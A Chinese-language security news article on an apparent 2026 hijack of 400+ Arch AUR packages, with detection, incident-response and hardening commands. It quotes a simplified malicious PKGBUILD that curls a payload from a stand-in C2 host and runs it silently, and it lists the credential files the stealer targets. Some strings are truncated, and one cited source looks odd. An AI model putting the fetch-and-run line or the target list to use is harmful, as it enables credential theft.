返回首页

Atomic Arch:400+个Linux AUR包被劫持植入Rust窃密器和eBPF Rootkit,开发者信任模型崩塌

Atomic Arch:400+个 AUR包被劫持植入窃密器和eBPF Rootkit,开发者信任模型崩塌

hero

2026年6月11日,Arch Linux社区包仓库AUR遭遇史上最大规模供应链攻击。攻击者接管了400多个"孤儿包"(无维护者的包),篡改其PKGBUILD构建脚本,在安装时植入Rust编写的凭据窃取器和eBPF内核级rootkit。这是Linux桌面生态首次出现eBPF rootkit通过包管理器大规模分发的案例,标志着供应链攻击从生态向系统级包管理器的全面蔓延。

AUR信任模型的根本性缺陷

section

AUR(Arch User Repository)是Arch Linux生态的核心组成部分,允许社区用户提交和维护软件包的构建脚本(PKGBUILD)。与官方仓库不同,AUR的包不由Arch Linux核心团队审核,而是依赖社区自我治理——任何人可以提交PKGBUILD,其他用户通过投票和评论来评估质量。这种模型在正常情况下运转良好,但有一个致命弱点:孤儿包。

当一个AUR包的维护者放弃维护(账号删除、长时间不活跃等),该包就变成"孤儿"状态。按照AUR规则,任何人都可以申请接管孤儿包。攻击者利用这一机制,批量申请接管了400多个孤儿包,然后在PKGBUILD中注入恶意构建命令。由于这些包之前有合法的下载记录和用户评价,新用户很难察觉维护者已经变更。

攻击维度 具体情况
受影响包数量 400+个AUR包
攻击入口 孤儿包接管申请
恶意载荷 Rust infostealer + eBPF rootkit
感染方式 PKGBUILD构建脚本在makepkg时执行
影响时间 2026年6月11日起
官方仓库 未受影响(仅AUR)

Rust Infostealer:跨平台凭据收割机

攻击者选择Rust语言编写窃密器并非偶然。Rust编译出的二进制文件体积小、无运行时依赖、跨平台兼容性好,且由于所有权系统带来的内存安全特性,代码质量通常较高——这些特点让Rust成为恶意软件开发者的"新宠"。该窃密器的首要目标是开发者机器上的高价值凭据:

# Atomic Arch Rust infostealer窃取的目标
# 1. 私钥
~/.ssh/id_rsa, id_ed25519, id_ecdsa
~/.ssh/config(包含服务器地址信息)

# 2. Git凭据
~/.git-credentials
~/.gitconfig
Git credential store中的所有Token

# 3. 云服务凭证
~/.aws/credentials
~/.config/gcloud/credentials.db
~/.azure/accessTokens.json

# 4. 包管理器Token
~/.npmrc( authToken)
~/.pypirc(PyPI token)
~/.cargo/credentials(crates.io token)

# 5. 浏览器数据
~/.mozilla/firefox/*/cookies.sqlite
~/.config/google-/*/Login 

窃密器会将收集到的凭据打包为加密的tar归档,通过HTTPS上传到攻击者控制的C2服务器。整个过程在后台静默执行,不会在终端产生任何可见输出。由于AUR包通常需要sudo权限构建,恶意代码可以以root权限执行,获取系统上所有用户的凭据。

eBPF Rootkit:内核级隐匿的新威胁

section

Atomic Arch攻击中最具技术突破性的是eBPF rootkit的部署。eBPF(extended Berkeley Packet Filter)是Linux内核中的一个强大子系统,允许在内核空间安全地运行沙箱化程序。它原本设计用于网络监控、性能分析和安全审计,但攻击者发现它可以被武器化为rootkit。

eBPF rootkit的工作原理是:在内核中注册eBPF程序来拦截和修改系统调用。例如,它可以hook getdents64 系统调用来隐藏恶意文件和进程,hook网络相关的系统调用来隐藏C2通信,hook read 来窃取其他进程的内存数据。由于eBPF程序在内核验证器(verifier)通过后直接在内核空间执行,传统的用户态安全工具(如ps、netstat、lsof)完全无法检测到其存在。

# 检测eBPF rootkit的方法
# 1. 列出所有加载的eBPF程序
sudo bpftool prog list

# 2. 检查是否有可疑的eBPF程序附加到安全敏感的hook点
sudo bpftool prog list | grep -E "tracepoint|kprobe|lsm"

# 3. 检查eBPF map中是否有隐藏数据
sudo bpftool map list

# 4. 使用bpftrace检测隐藏的系统调用hook
sudo bpftrace -e 'tracepoint:syscalls:sys_enter_getdents64 { printf("getdents64 called by %s (pid %d)\n", comm, pid); }'

# 5. 对比/proc和/dev的可见性差异
# 如果ps看不到某个进程但/proc/PID目录存在,可能被rootkit隐藏
ls /proc/*/status | wc -l
ps aux | wc -l

PKGBUILD注入分析:构建脚本如何成为攻击载体

section

PKGBUILD是AUR包的构建脚本,本质上是一个bash脚本,定义了如何下载、编译和安装软件。攻击者在接管孤儿包后,在PKGBUILD的build()package()函数中注入了恶意命令。这些命令在用户执行makepkg -si时以当前用户权限(通常是普通用户)执行,但由于AUR helper工具(如yay、paru)通常会请求sudo权限,恶意代码可以在构建过程中提权。

# 正常的PKGBUILD示例
pkgname=example-package
pkgver=1.0.0
source=("https://example.com/$pkgname-$pkgver.tar.gz")

build() {
    cd "$pkgname-$pkgver"
    make  # 正常编译
}

package() {
    cd "$pkgname-$pkgver"
    make DESTDIR="$pkgdir" install  # 正常安装
}

# 恶意PKGBUILD注入示例(简化版)
build() {
    cd "$pkgname-$pkgver"
    make
    # 恶意代码隐藏在构建步骤中
    curl -s https://c2.evil.com/payload -o /tmp/.
    chmod +x /tmp/.update
    nohup /tmp/.update &>/dev/null &
}
# 安全构建AUR包的最佳实践
# 1. 始终在构建前审查PKGBUILD
git clone https://aur.archlinux.org/package-name.git
cat package-name/PKGBUILD  # 仔细检查所有函数

# 2. 使用makepkg的--verifysource选项
makepkg -s --verifysource

# 3. 在隔离环境中构建
# 使用arch-nspawn或Docker容器
sudo mkarchroot /var/lib/extra/root base-devel
sudo makechrootpkg -r /var/lib/extra

# 4. 检查PKGBUILD的最近提交记录
cd package-name && git log --oneline -5
# 如果最近有大规模修改且维护者刚变更,高度可疑

受影响范围排查与应急响应

section

Arch Linux官方在发现攻击后迅速响应,重置了被篡改的包并封禁了相关账号。但已经安装了受影响包的用户需要立即采取行动。

# 检查系统是否受到影响
# 1. 列出所有通过AUR安装的包
pacman -Qm  # 列出非官方仓库的包

# 2. 检查是否有可疑的构建产物
find /usr -newer /etc/hostname -name "*.so" -exec ls -la {} \; 2>/dev/null

# 3. 检查是否有eBPF程序加载
sudo bpftool prog list 2>/dev/null || echo "bpftool not available"

# 4. 检查网络连接是否有异常
ss -tlnp | grep -v -E ":(22|80|443|53)$"

# 5. 检查近期是否有异常的cron任务
for user in $(cut -d: -f1 /etc/passwd); do
    crontab -l -u "$user" 2>/dev/null | grep -v "^#" | grep -v "^$"
done

# 6. 检查systemd服务是否有异常
systemctl list-units --type=service --state=running | grep -v -E "systemd|dbus|network"
检查项目 命令 风险信号
非官方包列表 pacman -Qm 对照受影响包列表
异常eBPF程序 bpftool prog list kprobe/tracepoint类型的未知程序
异常网络连接 ss -tlnp 未知IP和端口
异常系统服务 systemctl list-units 不认识的服务名
异常cron任务 crontab -l 不认识的定时任务
异常内核模块 lsmod 不认识的模块

Linux供应链安全的系统性问题

Atomic Arch事件暴露了Linux包管理生态的系统性安全问题。与npm、PyPI等语言包管理器不同,Linux发行版的包管理通常被认为更安全——因为有官方仓库的审核机制。但AUR、PPA(Ubuntu)、COPR(Fedora)等社区包仓库绕过了这些审核,形成了安全盲区。

更深层的问题在于"孤儿包"治理。在开源生态中,维护者流失是常态。当一个流行的包失去维护者时,社区通常鼓励有人接手——这本身是好事。但攻击者利用了这一善意机制。Arch Linux的孤儿包申请流程没有足够的身份验证和过渡期审查,使得批量接管成为可能。

# 企业级AUR安全策略
# 1. 维护内部AUR镜像,只同步经过审查的包
# 2. 使用PKGBUILD diff工具监控变更
mkdir -p ~/aur-monitored
for pkg in $(cat ~/aur-watchlist.txt); do
    if [ -d ~/aur-monitored/$pkg ]; then
        cd ~/aur-monitored/$pkg
        git fetch origin
        DIFF=$(git diff HEAD..origin/master -- PKGBUILD)
        if [ -n "$DIFF" ]; then
            echo "[] PKGBUILD changed: $pkg"
            echo "$DIFF" | mail -s "AUR Change Alert: $pkg" [email protected]
        fi
    else
        git clone "https://aur.archlinux.org/$pkg.git" ~/aur-monitored/$pkg
    fi
done

# 3. 使用namcap进行静态分析
namcap PKGBUILD  # 检查构建脚本中的可疑模式

对容器和云原生环境的启示

Atomic Arch攻击对容器化和云原生环境有重要启示。许多Dockerfile使用Arch Linux作为基础镜像,或在构建阶段通过AUR安装依赖。如果基础镜像在攻击窗口期间构建,恶意代码可能被嵌入到容器镜像中,进而分发到整个Kubernetes集群。

# 高风险Dockerfile模式(需要审查)
FROM archlinux:latest
RUN pacman -Syu --noconfirm
RUN pacman -S --noconfirm base-devel git
# 这里如果通过AUR helper安装包,可能触发恶意构建
RUN yay -S --noconfirm some-aur-package  # 危险!

# 安全替代方案
FROM archlinux:latest
RUN pacman -Syu --noconfirm
# 只从官方仓库安装
RUN pacman -S --noconfirm package-from-official-repo
# 如果必须用AUR,在隔离环境中构建并审查
COPY PKGBUILD /tmp/build/
RUN cd /tmp/build && makepkg -s --noconfirm

2026年供应链攻击全景:从npm到AUR

将Atomic Arch放入2026年供应链攻击的大背景中,趋势清晰可见:攻击面正在从单一生态系统扩展到所有包管理器。npm、PyPI、Crates.io、AUR——没有一个生态是安全的。攻击者的手法也在快速进化,从简单的typosquatting到劫持,再到构建系统配置文件武器化(Phantom Gyp)和孤儿包接管。

生态系统 2026年重大事件 攻击手法演进
npm Axios , Miasma, TanStack, TrapDoor 版本劫持→CI/CD劫持→Phantom Gyp
PyPI TrapDoor跨生态 typosquatting+依赖链污染
Crates.io TrapDoor跨生态 新兴目标
AUR Atomic Arch(400+包) 孤儿包接管+PKGBUILD注入
Actions TanStack 文件劫持

开发者需要接受一个新现实:任何包管理器中的第三方代码都不可盲目信任。安全的依赖管理不再是"选择安全的生态",而是在所有生态中建立系统化的审查、隔离和监控机制。


数据来源与参考文献

  1. TheHackersNews. "Over 400 Arch Linux AUR Packages Hijacked to Deploy Infostealer." thehackernews.com, 2026-06.
  2. Enigma Global CTI. "Atomic Arch: How 400 Hijacked Linux Packages Spread Rootkits." enigma-global.com, 2026-06.
  3. Breached Company. "Atomic Arch: A Poisoned AUR Spreads a Rust Infostealer and an eBPF Rootkit." breached.company, 2026-06.
  4. ThreatNote. "400+ Arch Linux AUR Packages Hijacked to Install Rust Credential ." threatnote.com, 2026-06.
  5. Cambridge Analytica. "Attackers Hijacked 400 Arch Linux Packages to Steal Credentials." cambridgeanalytica.org, 2026-06.
  6. Concrete . "Miasma / TeamPCP npm Attack." concretecms.com, 2026-06-12.
  7. ReversingLabs. "2026 Software Supply Chain Report." reversinglabs.com, 2026.

评论